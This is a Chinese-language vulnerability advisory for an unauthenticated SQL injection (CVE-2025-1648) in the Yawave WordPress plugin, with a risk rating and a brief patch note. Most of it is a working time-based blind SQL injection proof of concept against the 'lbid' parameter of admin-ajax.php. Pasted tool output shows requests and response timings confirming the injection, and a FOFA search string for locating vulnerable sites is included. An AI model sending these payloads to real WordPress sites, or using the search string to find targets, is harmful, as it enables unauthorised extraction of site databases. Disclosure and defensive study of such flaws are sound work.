

WordPress Yawave插件 SQL注入漏洞(CVE-2025-1648)

漏洞描述

由于 WordPress的 Yawave 插件对用户提供的参数的转义不足以及对现有 SQL 查询的准备不足，因此容易受到通过“lbid”参数进行 SQL 注入的攻击。这使得未经身份验证的攻击者能够将其他 SQL 查询附加到现有查询中，这些查询可用于从数据库中提取敏感信息。

影响版本

Yawave <= 2.9.1

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA： body="/wp-content/plugins/yawave"

POC/EXP：

GET /wp-admin/admin-ajax.php?action=js_liveblog_update&lbid=(SELECT%205845%20FROM%20(SELECT(SLEEP(2))))LzeF HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1

发送请求

强制 HTTPS

历史

爆破示例

数据扫描

美化

热加载

构造请求

Request

1 GET /wp-admin/admin-ajax.php?action=js_liveblog_update&lbid=(SELECT%205845%20FROM%20(SELECT(SLEEP(2)))LzeF) HTTP/1.1

2 Content-Type: application/json

3 Host : 2

Responses

https 583bytes / 4348ms

美化

编码

详情

1 HTTP/1.1 200 OK

2 Connection: Keep-Alive

3 Keep-Alive: timeout=5, max=100

4 p3p: CP="NOI"

5 set-cookie: PHPSESSID=966fdf2ea55776a0dcc1f908ae5e5b98; path=/; secure

6 pragma: no-cache

7 content-type: text/html; charset=utf-8

8 x-robots-tag: noindex

9 x-content-type-options: nosniff

10 expires: Wed, 11 Jan 1984 05:00:00 GMT

11 cache-control: no-cache, must-revalidate, max-age=0

12 referrer-policy: strict-origin-when-cross-origin

13 x-frame-options: SAMEORIGIN

14 date: Fri, 28 Feb 2025 09:52:40 GMT

15 Content-Length: 597

16

17 {

18 "debugme": "a.id=(SELECT 5845 FROM (SELECT(SLEEP(2)))LzeF)",

19 "count_all_posts": "0",

20 "ids": 0,

21 "html": "<div class='yawave-liveblog-card

发送请求

强制 HTTPS

历史

爆破示例

数据扫描

美化

热加载

构造请求

Request

1 GET /wp-admin/admin-ajax.php?action=js_liveblog_update&lbid=(SELECT%205845%20FROM%20(SELECT(SLEEP(3)))LzeF) HTTP/1.1

2 Content-Type: application/json

3 Host : 2

Responses

https 583bytes / 6330ms

美化

编码

详情

1 HTTP/1.1 200 OK

2 Connection: Keep-Alive

3 Keep-Alive: timeout=5, max=100

4 p3p: CP="NOI"

5 set-cookie: PHPSESSID=48ef98ca07f002e51747577263e428be; path=/; secure

6 pragma: no-cache

7 content-type: text/html; charset=utf-8

8 x-robots-tag: noindex

9 x-content-type-options: nosniff

10 expires: Wed, 11 Jan 1984 05:00:00 GMT

11 cache-control: no-cache, must-revalidate, max-age=0

12 referrer-policy: strict-origin-when-cross-origin

13 x-frame-options: SAMEORIGIN

14 date: Fri, 28 Feb 2025 09:54:58 GMT

15 Content-Length: 597

16

17 {

18 "debugme": "a.id=(SELECT 5845 FROM (SELECT(SLEEP(3)))LzeF)",

19 "count_all_posts": "0",

20 "ids": 0,

21 "html": "<div class='yawave-liveblog-card no-liveblog-posts'><header class='yawave-liveblog-card-header'><h4>Keine Eintr\u00e4ge vorhanden!</h4></header><div class='yawave-liveblog-card-content'><div class='liveticker-icon'></div><div class='liveticker-info'>F\u00fcr

漏洞修复

关注厂商官网动态，及时更新补丁信息。